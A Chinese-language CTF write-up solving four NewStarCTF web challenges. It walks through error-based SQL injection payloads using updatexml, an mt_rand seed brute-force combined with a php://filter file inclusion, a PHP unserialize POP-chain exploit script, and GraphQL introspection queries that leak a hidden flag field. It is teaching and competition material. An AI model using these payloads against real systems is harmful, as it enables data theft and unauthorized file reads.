Word-For-You(2 Gen 报错注入)
留言之后,点击这里 发现了name参数 1' 测试一下发现报错
1' or 1=1%23 之后报错没了,证实存在报错注入
?name=1' or updatexml(1,concat(0x7e,database()),1)%23
爆出数据库名 wfy
?name=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)%23
爆出表名 : wfy_admin,wfy_comments,wfy_info
?name=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name= 'wfy_comments' )),1)%23
爆出表名: id,text,user,name,display
?name=1' or updatexml(1,concat(0x7e,(select group_concat(text) from wfy_comments)),1)%23
正着读读不出来
?name=1' or updatexml(1,concat(0x7e,(select reverse(group_concat(text)) from wfy_comments)),1)%23
倒着读 读出倒序的flag,}sr0rre_emos_ek2m_t4uJ{galf
逆序后得到flag:flag{Ju4t_m2ke_some_err0rs}
另一位师傅的:
name=1' or updatexml(1,concat(0x7e,(select text from wfy_comments where id=(select max(id)-1 from wfy_comments))),1)#
也可以读出flag
IncludeOne(mt_srand(seed)爆破种子)
进去之后,源码给了出来
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521
mt_srand(seed)函数通过分发seed种子,依靠mt_rand()使用 Mersenne Twister算法返回随机整数。 函数存在伪随机数漏洞
mt_rand()如何生成的随机整数?它与设置的seed值和调用该函数的次数有关,假设使用mt_srand(12345)进行了一次播种,那么第一次调用mt_rand生成的数值为a,第二次为b,第三次为c。所以当有人拿到与你一串一模一样的seed时,所执行的结果都是跟刚刚描述的一样,这样就可以预测出接下来的数值是多少
这里我们在hint 得到了第一个随机数,可以通过链接给的工具来爆破一下种子,guess 传入这个种子的第二个随机数即可绕过。
经测试,种子为:1145146
所以guess传入 1202031004
payload: ?file=php://filter/NewStar/read=string.rot13/resource=flag.php
Crtl+u 查看源码,看见 <?cuc //synt{121ro5ss-5n94-4268-o0qs-oroqq1727n1s}
rot13再解码得到flag
UnserializeOne
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
从 echo file_get_contents('/flag'); 一步一步找pop链子 建议从下往上看:
链子分析:
unserialize Start类序列化数据,可以触发Start类里的__destruct()函数
->
Start 类中 __destruct()函数中有 __destruct()
echo "Welcome to NewStarCTF, ".$this->name; 可以给$this-name 赋值Sec类的实例对象,然后可以触发 __toString()函数->
__toString() 方法用于一个类被当成字符串时应怎样回应
Sec类中 __toString()方法里 $this->obj->check($this->var); 可以给$this->obj赋值 Easy 类实例对象,然后访问了不存在的->check()方法,调用了 Easy类中的 __call()函数
->
在对象中调用一个不可访问方法时,__call() 会被调用。也就是说你调用了一个对象中不存在的方法,就会触发
Easy 类中 __call()函数 存在clone函数 clone $this->cla = clone $var[0]; 给 $var 赋值 new eeee(); 这样clone关键字拷贝了对象,会调用 eeee类中的 __clone()函数
->
当使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法 __clone() ,如果该魔术方法存在的话
eeee 类 __clone() 里有 isset($this->obj->cmd) 所以给 $this->obj赋值 new Start(); 这样就对不可访问的->cmd属性调用了isset()函数,触发了Start类的 __Start()函数
->
对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
Start类种有 __isset($var):($this->func)(); 给func赋 Sec实例对象名称,这样就以调用函数的方式调用了 Sec实例化对象,触发了Sec类中的 __invoke()函数
->
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
Sec类种有 __invoke(): echo file_get_contents('/flag'); 执行这个函数可以得到flag
poc.php如下
<?php
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$a = new Start();
$a -> name = new Sec();
$a -> name -> var = new eeee();
$a -> name -> var -> obj = new Start();
$a -> name -> var -> obj -> func = new Sec();
$a -> name -> obj = new Easy();
echo urlencode(serialize($a));
ezAPI (graphql 查询信息泄露)
扫一下目录,在/www.zip下 获得源码
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str){
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
return False;
}
else {
return True;
}
}
function send($data){
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}
if (isset($id)) {
if (waf($id)) {
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
}
else {
echo "<b>Can't found it!</b><br><br>DEBUG: ";
var_dump($res->data);
}
}
else {
die("<b>Hacker! Only Number!</b>");
}
}
else {
die("<b>No Data?</b>");
}
?>
刚开始还以为是sql注入,但是看样子也不是,考点是 graphql 查询
参考:Grahql查询漏洞所引起的敏感信息泄露_NOSEC2019的博客-CSDN博客
内省查询:
{"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
即
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
返回包返回的就是该API端点的所有信息。
通过内省查询,看见了flag字段的东西
查询存在的类型:
data={"query":"{__schema{types{name,fields{name}}}}"}
查询flag
data={"query":"query{ffffllllaaagggg_1n_h3r3_flag{flag}}","variables":null}